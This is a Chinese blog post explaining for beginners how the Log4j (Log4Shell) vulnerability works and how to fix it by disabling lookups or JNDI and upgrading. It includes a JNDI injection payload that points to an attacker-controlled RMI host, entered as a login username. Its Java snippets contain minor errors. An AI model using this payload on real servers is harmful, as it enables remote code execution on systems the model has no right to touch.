log4j漏洞的产生原因和解决方案，零基础都能看懂

最新推荐文章于 2024-04-18 09:39:19 发布

程序员小饭

最新推荐文章于 2024-04-18 09:39:19 发布

阅读量830

点赞数 3

文章标签： java 服务器 apache 后端

本文链接：https://blog.csdn.net/weixin_36469852/article/details/121908943

版权

核弹级bug Log4j，相信很多人都有所耳闻了，这两天很多读者都在问我关于这个bug的原理等一些问题，今天咱们就专门写一篇文章，一起聊一聊这个核弹级别的bug的产生原理以及怎么防止

核弹爆炸

产生原因

其实这个主要的原因，和日志有关，日志是应用软件中不可缺少的部分，Apache的开源项目log4j是一个功能强大的日志组件,提供方便的日志记录。

最简单的日志打印

我们看如下场景：

登录页面

这个场景大家应该很熟悉了，就是用户登录，咱们今天不用关心登录是怎么实现的，只用关心用户名name字段就可以了，代码如下

public void login(string name){
  String name = "test";  //表单接收name字段
  logger.info("{},登录了", name); //logger为log4j
}

很简单，用户如果登陆了，我们通过表单接收到相关name字段，然后在日志中记录上这么一条记录。

这个看起来是很常规的操作了，记录日志为什么会导致bug呢？不要着急，我们接下来往下看。

lookup支持打印系统变量

name变量是用户输入的，用户输入什么都可以，上面的例子是字符串test，那么用户可以输入别的内容么？

登录页面

public void login(string name){
  String name = "{$java:os}";  //用户输入的name内容为  {$java:os}
  logger.info("{},登录了", name); //logger为log4j
}

如果用户在用户名输入框输入{$java:os}，那么日志中记录的会是系统相关的信息，上述代码会输出

Windows 7 6.1 Service Pack 1, architecture: amd64-64，登录了

为什么会产生这种奇怪的现象呢？

是因为log4j提供了一个lookup的功能，对lookup功能不熟悉的同学也没有关系，你知道有这么个方法，可以把一些系统变量放到日志中就可以了，如下图

lookup

比较敏锐的同学可能已经开始察觉到了，现在越来越像sql注入了。

JNDI介绍

很多同学可能对JNDI不是很了解，不过没关系，我用最通俗的话来解释其实就是你自己做一个服务，比如是

jndi:rmi:192.168.9.23:1099/remote

如果被攻击的服务器，比如某台线上的服务器，访问了或者执行了，你自己的JNDI服务，「那么线上的服务器就会来执行JNDI服务中的remote方法的代码」。如果不是很清楚，没关系，下面有张图

JNDI

大家还记得我们今天的主角log4j么？如果用户直接在用户名输入框输入JNDI的服务地址

image

public void login(string name){
  String name = "${jndi:rmi:192.168.9.23:1099/remote}";  //用户输入的name内容为 jndi相关信息
  logger.info("{},登录了", name); 
}

那么只要是你用log4j来打印这么一条日志，那么log4j就会去执行 jndi:rmi:192.168.9.23:1099/remote 服务，那么在黑客的电脑上就可以对线上服务做任何操作了，

大家想象一下，一个不是你公司的人，却可以在你们公司线上服务器做任何操作，这该是多么的可怕。

其实如果你了解了这个原理那么解决方式也就一目了然了，

罪魁祸首就是lookup和JNDI，那么直接修改配置文件log4j2.formatMsgNoLookups=True或禁用JNDI服务，不过一般产生问题的服务都是线上已经在跑的服务，禁用的时候要注意评估一下是否允许。

这次产生的影响范围主要是在Apache Log4j 2.x <= 2.14.1 ，所以直接把Log4j升级即可解决。

欢迎关注我的公众号，程序员小饭，我们下期见

关注